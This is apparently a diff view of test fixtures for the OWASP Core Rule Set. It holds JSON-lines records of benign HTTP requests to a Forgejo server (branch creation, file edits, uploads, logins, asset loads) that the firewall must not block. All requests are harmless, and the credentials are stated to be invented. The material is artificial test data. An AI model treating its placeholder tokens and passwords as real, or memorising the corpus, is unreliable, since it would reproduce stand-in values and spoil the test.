{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=b69a66a389d3a15c29f4cadf8d92662b97edefc4&page_has_posted=&tree_path=.htaccess&content=Options+-Indexes%0D%0A%23+No+directory+listings%0D%0A&commit_summary=Update+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=af80d9f64107082ff52b6aae5a10828742fe01c2&page_has_posted=&tree_path=scripts%2Finstall-script.sh&content=echo+Installing+the+tools.%0D%0Aecho+Done.%0D%0A&commit_summary=Update+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhkq69WdAprWrxB7m", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryhkq69WdAprWrxB7m\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryhkq69WdAprWrxB7m--\r\n"}
{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=docs&files=d730c135-cc1c-49b7-a402-d237c0828939&files_fullpath%5Bd730c135-cc1c-49b7-a402-d237c0828939%5D=release-notes.txt&commit_summary=Upload+the+release+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPZVdfDJ4Whs72TTk", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryPZVdfDJ4Whs72TTk\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryPZVdfDJ4Whs72TTk--\r\n"}
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 291", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=scripts%2Fpowershell&files=4eb22017-b621-4063-b0a9-ce7cdf5e0853&files_fullpath%5B4eb22017-b621-4063-b0a9-ce7cdf5e0853%5D=build.ps1&commit_summary=Add+a+PowerShell+build+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=fix-powershell-module&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 222", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=update-powershell-docs&commit_mail_id=1"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 97", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "HX-Current-URL: http://example.com/alice/tools/_edit/main/docs/setup.md", "Content-Type: application/x-www-form-urlencoded", "HX-Request: true", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "context=%2Falice%2Ftools%2Fsrc%2Fbranch%2Fmain&content=%23%20Setup%0A%0AInstall%20the%20tools.%0A"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
-976
View File
@@ -1,976 +0,0 @@
# Ordinary Forgejo 17.0.1 requests that the Core Rule Set must let through at
# the defaults. They were recorded from a Forgejo driven by a headless Chrome,
# signed out, signed in and on the admin pages, by git over HTTP, by curl on
# the API and the generic package registry, and by crane on the container
# registry. Each line is one request as JSON. Names, addresses and passwords
# are invented. The browser's User-Agent is an ordinary Chrome's. A body or a
# multipart part that is not text is written as base64.
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/img/logo.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/explore/organizations", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/forgot_password", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/user/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 91", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate"], "body": "user_name=bob&email=bob%40example.com&password=Wd7-kPq3-Zx8n-Rf2m&retype=Wd7-kPq3-Zx8n-Rf2m"}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/sign_up", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US; flash=success%3DAccount%2Bwas%2Bsuccessfully%2Bcreated.%2BWelcome%2521"], "body": ""}
{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/dashboard-repo-list.98057021.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/dashboard-repo-list.09995173.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?count_only=1&uid=2&team_id=undefined&q=&page=1&mode=", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/events", "headers": ["Host: example.com", "Connection: keep-alive", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/event-stream", "Referer: http://example.com/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "Accept-Encoding: gzip, deflate", "Cookie: session=46035a1a58fc293d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Frepo%2Fsearch%3Fsort%3Dupdated%26order%3Ddesc%26uid%3D2%26team_id%3Dundefined%26q%3D%26page%3D1%26limit%3D15%26mode%3D%26archived%3Dfalse"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=2&team_id=undefined&q=&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/create", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/repo/create", "Accept-Encoding: gzip, deflate", "Cookie: session=cf1a51e0caee441a; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/webcomponents.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/index.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/js/index.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/assets/css/theme-forgejo-auto.css?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/user/login", "Accept-Encoding: gzip, deflate"], "body": ""}
